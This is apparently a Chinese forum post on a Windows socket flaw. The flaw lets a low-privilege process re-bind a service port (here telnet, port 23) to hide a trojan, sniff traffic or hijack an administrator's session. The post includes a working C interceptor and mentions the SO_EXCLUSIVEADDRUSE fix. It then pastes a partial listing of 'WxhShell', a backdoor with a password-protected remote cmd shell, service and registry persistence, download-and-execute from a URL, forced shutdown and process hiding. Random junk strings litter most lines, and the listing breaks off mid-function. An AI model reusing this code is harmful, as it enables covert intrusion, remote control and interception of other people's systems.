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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <cv1$ x ~P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +.]}f}Y  
G}#/`]o!K  
  saddr.sin_family = AF_INET; +MZO%4  
X8 )>}#:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bH/pa#G(  
e=l5j"gq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~H|LWCU)K8  
AC:s4iacC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _S2^;n?  
4spaw?j  
  这意味着什么?意味着可以进行如下的攻击: d^5SeCs6  
%s2"W~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ; Uqx&5P}  
"qTC(F9N$.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X$ B]P 7G7  
k!/ _/^{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1Bk*G>CX9(  
^i+ z_%V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   g1wI/  
kbYg4t]FH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L-C/Luws  
H='9zqYZ<W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GHJ=-9{YL  
< mK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ' ?G[T28  
!)/iRw9re  
  #include "YzTMKu  
  #include <W51oO  
  #include ^q&wITGI  
  #include    bEQtVe@`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @=0r3  
  int main() V2s}<uG  
  { {9Mdt`WL  
  WORD wVersionRequested; "h^#<bPN  
  DWORD ret; dA)4(0o8fD  
  WSADATA wsaData; 3.<6;?  
  BOOL val; G#n^@kc*,  
  SOCKADDR_IN saddr; Sd\IGy{a  
  SOCKADDR_IN scaddr; i9\\evJs  
  int err; 12d}#G<q-  
  SOCKET s; ^s@*ISY  
  SOCKET sc; :uwRuPI  
  int caddsize; mrhp)yF  
  HANDLE mt; 5Vqmv<F;$Z  
  DWORD tid;   *[xNp[4EU  
  wVersionRequested = MAKEWORD( 2, 2 ); dI0bTw|s/  
  err = WSAStartup( wVersionRequested, &wsaData ); [ lzy &To  
  if ( err != 0 ) { (>LHj]}K  
  printf("error!WSAStartup failed!\n"); Iwt2}E(e  
  return -1; @b!R2Yq  
  } IN|i)?r h  
  saddr.sin_family = AF_INET; ,-7/]h,l  
   9<A\npD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HcBH!0  
j,56Lh%1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vr-3M+l=O  
  saddr.sin_port = htons(23); ^wO_b'@v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UJz4>JF  
  { Wl !!5\  
  printf("error!socket failed!\n"); Y!a+#N!  
  return -1; a0?iR5\  
  } SfZ=%6b7  
  val = TRUE; !HR2Rfl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lNaez3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2u~c/JryN  
  { Xrj(,|  
  printf("error!setsockopt failed!\n"); =tf@4_  
  return -1; kg?T$}O  
  } 11B{gUv.]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ll(e,9.D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O& 3r*vd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A)RI:?+  
6t_ 3%{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b>bgUDq  
  { uq|vNLW26  
  ret=GetLastError(); W. J:.|kt  
  printf("error!bind failed!\n"); %89" A'g  
  return -1; P )t]bS  
  } n~,]KdU]  
  listen(s,2); 8sR  
  while(1) EFRZ% Y  
  { B;z>Dd,Y_x  
  caddsize = sizeof(scaddr); Krp <bK6  
  //接受连接请求 Zr.\`mG4f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vNC$f(cQ  
  if(sc!=INVALID_SOCKET) h{W$ fZc<  
  { Y|m_qB^_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qD(fYOX{C  
  if(mt==NULL) rysP)e  
  { )e|$K= D  
  printf("Thread Creat Failed!\n"); [GR|$/(z=  
  break; FtFv<UV  
  } C`NBHRa>  
  } s`Yu"s 8}4  
  CloseHandle(mt); iJ`%yg,  
  } v7o?GQ75  
  closesocket(s); I 9{40_  
  WSACleanup(); *`+<x  
  return 0; ;!l*7}5X=  
  }   J|gdO+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ei{(  
  { u#41osUVW>  
  SOCKET ss = (SOCKET)lpParam; Uh3wj|0  
  SOCKET sc; Gg=aK~q6  
  unsigned char buf[4096]; KFTf~!|  
  SOCKADDR_IN saddr; _[}G(<  
  long num; L,C? gd@"  
  DWORD val; aPD?Bh>JU  
  DWORD ret; $f<eq7rRe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }t@f |TX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m4P hn~>Gg  
  saddr.sin_family = AF_INET;  3}>:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g[#k.CuP  
  saddr.sin_port = htons(23); 'DCKD4@C/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }b_R5U$@@  
  { lfxuc7Rdla  
  printf("error!socket failed!\n"); jw/'*e  
  return -1; '[>\N4WD  
  } 0kU3my]  
  val = 100; $i,6B9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DO7- =74=  
  { /*u#Ba<<  
  ret = GetLastError(); TJHN/Z/  
  return -1; 8%;}LK  
  } =@xN(] (  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J 6(~>g  
  { l5FuMk-  
  ret = GetLastError(); Y%78>-2 L  
  return -1; y 2z{rd  
  } /^++As0pY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a4A`cUt  
  { ]$m#1Kj  
  printf("error!socket connect failed!\n"); 42b.7E  
  closesocket(sc); m0=cMVCA!  
  closesocket(ss); 0M$#95n  
  return -1; 2wB.S_4"-<  
  } RDUT3H6~  
  while(1) e1^fUOS  
  { 8g<Q5(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?!bd!:(N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vC)"*wYB{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |RR"'o_E  
  num = recv(ss,buf,4096,0); ~hS3*\^~M  
  if(num>0) ;Ay >+M2O  
  send(sc,buf,num,0); :d;[DYFLxb  
  else if(num==0) 69t7=r  
  break; !OPSSP]-  
  num = recv(sc,buf,4096,0); ,9=gVW{  
  if(num>0) KKLR'w,A>  
  send(ss,buf,num,0); ]YCPyc:  
  else if(num==0) W*YxBn4  
  break; O!:QJ ^8 d  
  } &}vR(y*#c  
  closesocket(ss); r0)JUc}Fyq  
  closesocket(sc); 8 ne/=N|,  
  return 0 ; 1S+;ZMk  
  } >F/XZ C  
x1t{SQ-C  
!cRfZ  
========================================================== 8{R&EijC  
j_!bT!8  
下边附上一个代码,,WXhSHELL }TSgAwsbC  
MVeF e\r  
========================================================== Wt>J`  
x|.v{tQa  
#include "stdafx.h" mfZ)^X  
sB?2*S"X)<  
#include <stdio.h> 8$\Za,)g  
#include <string.h> 6tOCZ'f  
#include <windows.h> Dq?E\  
#include <winsock2.h> RTK}mhnV  
#include <winsvc.h> cb +l"FI7  
#include <urlmon.h> ^:m^E0(H  
RG&I\DTyt  
#pragma comment (lib, "Ws2_32.lib") }-d)ms!  
#pragma comment (lib, "urlmon.lib") `&7mHa61  
#":: ' ?,  
#define MAX_USER   100 // 最大客户端连接数 fi=0{  
#define BUF_SOCK   200 // sock buffer DeH0k[o  
#define KEY_BUFF   255 // 输入 buffer ^uia`sOP4  
VLiIO"u;  
#define REBOOT     0   // 重启 9*4 .  
#define SHUTDOWN   1   // 关机 *dN N<  
#S%4?   
#define DEF_PORT   5000 // 监听端口 X` ATH^S  
>L^xlm%7o  
#define REG_LEN     16   // 注册表键长度 | z:Q(d06  
#define SVC_LEN     80   // NT服务名长度 q7|:^#{av  
 #;`Oj  
// 从dll定义API 27m@|M] R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 88 {1mA,v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ pj>9%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,I ZqLA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .hKhrcQp  
a.?v*U@z@#  
// wxhshell配置信息 ~F;CE"3A  
struct WSCFG { $`pd|K`  
  int ws_port;         // 监听端口 j?xk&  
  char ws_passstr[REG_LEN]; // 口令 D z@1rc<B  
  int ws_autoins;       // 安装标记, 1=yes 0=no \SOeTn+  
  char ws_regname[REG_LEN]; // 注册表键名 S`=n&'  
  char ws_svcname[REG_LEN]; // 服务名 $ADPV,*gG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "qawq0P8Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Re-5vz R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w#&z]O9r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no COSTV>s;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FY8!g'.Oe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b vRB  
gY!N3 *:  
}; L=RGL+f1 _  
_%{0?|=  
// default Wxhshell configuration r?pZ72 q  
struct WSCFG wscfg={DEF_PORT, 8.yCA  
    "xuhuanlingzhe", c_#*mA"+  
    1, Rv<L#!; t  
    "Wxhshell", ^2E hlK^)  
    "Wxhshell", }z wX  
            "WxhShell Service", ?W!ry7gXO  
    "Wrsky Windows CmdShell Service", _42Z={pZZq  
    "Please Input Your Password: ", fJy)STQ4  
  1, .#0H{mk  
  "http://www.wrsky.com/wxhshell.exe", 'd/*BjNp)  
  "Wxhshell.exe" (0OM "`j  
    }; 3V}(fnv  
}#6xFTH  
// 消息定义模块 Q4?EZ_O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9OyNi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? Vp%=E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )Q]w6he3  
char *msg_ws_ext="\n\rExit."; qBYg[K>  
char *msg_ws_end="\n\rQuit."; Jt]&;0zn2  
char *msg_ws_boot="\n\rReboot..."; SNab   
char *msg_ws_poff="\n\rShutdown..."; 0/Z !5-.  
char *msg_ws_down="\n\rSave to "; hsz^rZ  
$3k "WlRG  
char *msg_ws_err="\n\rErr!"; |n`PESf_  
char *msg_ws_ok="\n\rOK!"; 8}BS2C%P  
rLzW`  
char ExeFile[MAX_PATH]; FaY_ 0G;y  
int nUser = 0; \0?$wIH?  
HANDLE handles[MAX_USER]; 3+>OGwfQ  
int OsIsNt; ?v4E<iXs  
K(VW%hV1  
SERVICE_STATUS       serviceStatus; zsVcXBz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XQ?fJWLU  
[jrqzB  
// 函数声明 T@P!L  
int Install(void); 6{=_718l`  
int Uninstall(void); vk'rA{x  
int DownloadFile(char *sURL, SOCKET wsh); MDHb'<o?y  
int Boot(int flag); Y5Z!og  
void HideProc(void); l^W uS|G[  
int GetOsVer(void); MQ`%``  
int Wxhshell(SOCKET wsl); HCj> ,^<h  
void TalkWithClient(void *cs); mI"D(bx\  
int CmdShell(SOCKET sock); ^m%52Tm h  
int StartFromService(void); w"8V0z  
int StartWxhshell(LPSTR lpCmdLine); NiA4JgM]v  
:, _!pe;H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TQc@lR!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?3q@f\fZ  
M'2r@NR8  
// 数据结构和表定义 aQUGNa0+d  
SERVICE_TABLE_ENTRY DispatchTable[] = pOA!#Aj)  
{ BpH%STEN  
{wscfg.ws_svcname, NTServiceMain}, ,Dp0fauJ  
{NULL, NULL} !9]d |8!  
}; ,lm=M 5b  
9S>g6}[E#0  
// 自我安装 +sf .PSz$  
int Install(void) OJ1tV% E  
{ h5GU9M  
  char svExeFile[MAX_PATH]; g_aCHEFBv  
  HKEY key; W5SNI>|E  
  strcpy(svExeFile,ExeFile); &= eYr{  
`PlOwj@u0`  
// 如果是win9x系统,修改注册表设为自启动 {^mKvc  
if(!OsIsNt) { S6sq#kcH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >o/95xk2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e |V]  
  RegCloseKey(key); 4 1t)(+r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;>>C)c4V"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9v?l  
  RegCloseKey(key); K_ke2{4Jm  
  return 0; UyiJU~r1  
    } aG{$Ic  
  } 0.Vi9 7`  
} a]B[`^`z  
else { U|5-0u5  
"2{%JFE  
// 如果是NT以上系统,安装为系统服务 I ~$1Lu`~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VhEka#  
if (schSCManager!=0) (Rd$VYuf  
{ gzdG6"  
  SC_HANDLE schService = CreateService obo&1Uv,/  
  ( wC CV2tk  
  schSCManager, u0 y 1  
  wscfg.ws_svcname, =\3Tv  
  wscfg.ws_svcdisp, mL yBm  
  SERVICE_ALL_ACCESS, :iPy m}CE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )9L/sKz  
  SERVICE_AUTO_START, 2k5/SV X  
  SERVICE_ERROR_NORMAL, Kq)MTlP0g  
  svExeFile, I#G0, &Gv  
  NULL, Eu,`7iQ?(  
  NULL, 27A!\pn  
  NULL, NM#- Af*pg  
  NULL, d 6t:hn  
  NULL 9P WY52!  
  ); 2+Rv{%  
  if (schService!=0) L{&U V0q!  
  { BVpO#c~I  
  CloseServiceHandle(schService); ~*.-  
  CloseServiceHandle(schSCManager); '@=PGpRF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T!|=El>  
  strcat(svExeFile,wscfg.ws_svcname); #07!-)Gv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xDLG=A%]z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eu#'SXSC F  
  RegCloseKey(key); _Z Y\,_  
  return 0; "r'ozf2 \  
    } |E)aT#$f'  
  } @xAfZb2E  
  CloseServiceHandle(schSCManager); Z`Z5sj 4{  
} -{jdn%Y7CK  
} . iwZ*b{  
pA}S5x  
return 1; YY5!_k  
} y~ rX l  
DAO]uh{6  
// 自我卸载 %)(Cp-b!  
int Uninstall(void) 3n;K!L%zMT  
{ $8~e}8dt|  
  HKEY key; v]VWDT `  
1iBP,:>*  
if(!OsIsNt) { }} ZY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rS8 w\`_  
  RegDeleteValue(key,wscfg.ws_regname); ~O6\6$3b5E  
  RegCloseKey(key); $E!J:Y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |> enp>  
  RegDeleteValue(key,wscfg.ws_regname); ~d >W?A  
  RegCloseKey(key); v& $k9)]  
  return 0; [wnDHy6W  
  } r@G#[.*A>  
} WyhhCR=;  
} f 2YLk  
else { bBc-^  
c1XX~8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f!_ ctp  
if (schSCManager!=0) SU.ythU2,c  
{ +9;2xya2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fS&6  
  if (schService!=0) X[yNFW}S2W  
  { T^.Cc--c  
  if(DeleteService(schService)!=0) { jeUUa-zR3  
  CloseServiceHandle(schService); Wr?'$:  
  CloseServiceHandle(schSCManager); b;cMl'  
  return 0; E%N2k|%8d_  
  } zZ-\a[F  
  CloseServiceHandle(schService); o4y']JSN  
  } ~FU@wV^   
  CloseServiceHandle(schSCManager); eD?3"!c!  
} j]rz] k  
} uBrMk  
DGESba\2+  
return 1;  ;q>9W,jy  
} zCaT tb|@  
XzIx:J6  
// 从指定url下载文件 WYcA8 X/  
int DownloadFile(char *sURL, SOCKET wsh) 5e8AmY8;  
{ @~td`Z?1 y  
  HRESULT hr; 9LJZ-/Wq  
char seps[]= "/"; c]k*}W3T  
char *token; _ QOZ sEe  
char *file; $.%rAa_H  
char myURL[MAX_PATH]; Fg]?zEa  
char myFILE[MAX_PATH]; sBX-X$*N  
^Q<mV*~  
strcpy(myURL,sURL); _i0kc,*C\  
  token=strtok(myURL,seps); )FN;+"IJ  
  while(token!=NULL) KJn!Ap  
  { 08bJCH  
    file=token; R"v 3!P  
  token=strtok(NULL,seps); nAJdr*`a,5  
  } V N{NA+I  
h&&6r\4/|  
GetCurrentDirectory(MAX_PATH,myFILE); *jq7X  
strcat(myFILE, "\\"); $g9**b@  
strcat(myFILE, file); oPf)be| #  
  send(wsh,myFILE,strlen(myFILE),0); KL,/2 (  
send(wsh,"...",3,0); _*M42<wcO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g`^X#-!(  
  if(hr==S_OK) l\0w;:N3  
return 0; n"Veem[_4g  
else !%(h2]MQ  
return 1; Fh|#u:n  
SymwAS+  
} R7 jmv n  
Ga>uFb}W~  
// 系统电源模块 K BE Ax3  
int Boot(int flag) B;6]NCx D  
{ 9LnN$e  
  HANDLE hToken; X!hIwiA,t  
  TOKEN_PRIVILEGES tkp; k*rZ*sSp  
`>(W"^  
  if(OsIsNt) { )m3Uar  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zdl%iop3e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = {'pUU  
    tkp.PrivilegeCount = 1; 3\O|ii  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h Ov={:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PC$CYW5  
if(flag==REBOOT) { !`JHH&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aVs(EHF  
  return 0; ( lm&*tKm  
} ^[E' 1$D  
else { lT&wOm3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L WoG4s?w  
  return 0; h5_G4J{1  
} 0-Y:v(|.  
  } +yob)%  
  else { %sBAl.!BN  
if(flag==REBOOT) { u6V/JI}g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s'aip5P  
  return 0; wFh8?Z3u_  
} }T^cEfX  
else { =;a!u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'n QVj  
  return 0; 7tM9u5FF  
} sZWaV4  
} =WdaxjenZ/  
-{XRA6  
return 1; O`Gs S{$sS  
} l- pe4x  
s&kQlQ=  
// win9x进程隐藏模块 >>b3ZE|5  
void HideProc(void) ,C.:;Ime({  
{ D-Vai#Cd  
)5j;KI%t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X[s8X!#  
  if ( hKernel != NULL ) =h6 sPJ  
  { SnlyUP~P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pz#7h*;cw.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qSqI7ptA\  
    FreeLibrary(hKernel); keW~ NM  
  } PP~rn fE  
0_P}z3(M  
return; kd:$oS_*s  
} c3*t_!@oC  
SKuIF*"! S  
// 获取操作系统版本 )0vU k  
int GetOsVer(void) _\PNr.D 8  
{ o}Odw;  
  OSVERSIONINFO winfo; unJid8Lo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /){KOCBl;  
  GetVersionEx(&winfo); n,HE0Zn]Y_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SVlua@]ChU  
  return 1; 1aVa0q<  
  else o*x*jn:hm  
  return 0; [3l*F  
} E5el?=,i  
k:2QuG^  
// 客户端句柄模块 ]eQV ,Vt  
int Wxhshell(SOCKET wsl) P1b'%  
{ N"/-0(9[  
  SOCKET wsh; Mypc3  
  struct sockaddr_in client; (Rk_-9_E.  
  DWORD myID; \ \BCcr\l  
L%v^s4@  
  while(nUser<MAX_USER) BR^7_q4q  
{ gj\)CBOv  
  int nSize=sizeof(client); wiaX&-c]8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /( .6bv  
  if(wsh==INVALID_SOCKET) return 1; lf>*Y.!@me  
O%1v) AT&\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9jN)I(^D6  
if(handles[nUser]==0) wxm:7$4C  
  closesocket(wsh); ccCzu6  
else e{;OSk`x  
  nUser++; X1IeSMAe  
  } fP3_d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 48|s$K^  
8<mjh0F-,  
  return 0; 0JgL2ayIVI  
} nA|.t  
KZ!3j_pKy  
// 关闭 socket K.G$]H  
void CloseIt(SOCKET wsh) ,+qVu,  
{ ;})5:\h  
closesocket(wsh); +\li*G]:J  
nUser--; 7iHK_\tn  
ExitThread(0); J--m[X  
} $^&ig  
QDpEb=|S  
// 客户端请求句柄 =#mTfJ   
void TalkWithClient(void *cs) 8 #ndFpu  
{ Z5c~^jL$-  
2tROT][J%  
  SOCKET wsh=(SOCKET)cs; IHgeQ F ~  
  char pwd[SVC_LEN]; K:' q>D@  
  char cmd[KEY_BUFF]; L lBN-9p  
char chr[1]; | ohL]7b<  
int i,j; o!:8nXw  
yq+!czlZ  
  while (nUser < MAX_USER) { J5h+s-'  
[-&L8Un  
if(wscfg.ws_passstr) { !6Sd(2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qQ!1t>j+H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SXao|{?O  
  //ZeroMemory(pwd,KEY_BUFF); {pb>$G:gfx  
      i=0; ~&\ f|%  
  while(i<SVC_LEN) { I@Xn3oN  
IV lf=k  
  // 设置超时 DmXcPJ[9  
  fd_set FdRead; .1 %T W)  
  struct timeval TimeOut; c!8=lrT.  
  FD_ZERO(&FdRead); B2Xn?i3 l  
  FD_SET(wsh,&FdRead); \7"@RHcihB  
  TimeOut.tv_sec=8; -@>BHC  
  TimeOut.tv_usec=0; #_mi `7!B#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~[k%oA%W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B3Jgd,[  
fQLt=Lrp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vzF5xp.  
  pwd=chr[0]; T5Dw0Y6u,  
  if(chr[0]==0xd || chr[0]==0xa) { fF*`'i=!  
  pwd=0; +i\&6HGK;-  
  break; O4<g%.HC6  
  } '03->7V  
  i++; "U. ^lkN  
    } {_RWVVVe  
(;. AS  
  // 如果是非法用户,关闭 socket 'WHHc 9rG,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \:> Wpqw  
} 7FN<iI&7\  
>=iy2~Fz,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bslrqUk_`=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lp5U"6y  
uS&| "*pR  
while(1) { 6 \B0^  
q_ =b<.;  
  ZeroMemory(cmd,KEY_BUFF); y]%w)4PS  
,wKe fpV;5  
      // 自动支持客户端 telnet标准   9;yn}\N `  
  j=0; UN"(5a8.  
  while(j<KEY_BUFF) { C8a*Q"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 39 {{7(hh  
  cmd[j]=chr[0]; cNzt%MjP  
  if(chr[0]==0xa || chr[0]==0xd) { wOB azWa   
  cmd[j]=0; PiFD^w  
  break; Oo?,fw  
  } = sAn,ri  
  j++; %hlspI(J  
    } $ _8g8r}  
{f9{8-W <u  
  // 下载文件 5 =(c%  
  if(strstr(cmd,"http://")) { M Jj4Hd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d@mo!zu  
  if(DownloadFile(cmd,wsh)) *zO&N^X.4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GFSt<k)  
  else OT %nrzP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U=bEA1*@0  
  } F#xa`*AP  
  else { v+6@ cC  
,n2i@?NHZ  
    switch(cmd[0]) { ! #wdVe_(  
  #G9 ad K5  
  // 帮助 ]IJRnVp%  
  case '?': { - ~O'vLG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P`U<7xF~  
    break; mq/zTm  
  } n$m"]inX  
  // 安装 l? #xAZx&_  
  case 'i': { dsK&U\ej}  
    if(Install()) g|PC$p-z+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kr  L>FI  
    else h%d^Gq~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N132sN2   
    break; ~;-9X|  
    } {TXOQ>gY  
  // 卸载 T0j2a &Pv  
  case 'r': { (yQ 5`  
    if(Uninstall()) B1N)9%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4yMW^:@  
    else 8F;>5i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H;<!TX.zD  
    break; 9-*NW0  
    } F-n"^.7  
  // 显示 wxhshell 所在路径 ~#M d"3  
  case 'p': { &UAe!{E0  
    char svExeFile[MAX_PATH]; ,S[K{y<  
    strcpy(svExeFile,"\n\r"); )tZ`K |  
      strcat(svExeFile,ExeFile); OQ_stE2i  
        send(wsh,svExeFile,strlen(svExeFile),0); l52a\/  
    break; k/Mp6<?C:  
    } `ZHP1uQ<  
  // 重启 g;F"7 ^sg  
  case 'b': { M\/XP| 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {sN"( H4$  
    if(Boot(REBOOT)) "#^MUQ!a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _rQUE ^9  
    else { 6=|&tE  
    closesocket(wsh); ^kj=<+ v#  
    ExitThread(0); @ "d2.h  
    } u7]<=*V]  
    break; 4yV].2#rl"  
    } V: p)m&y6  
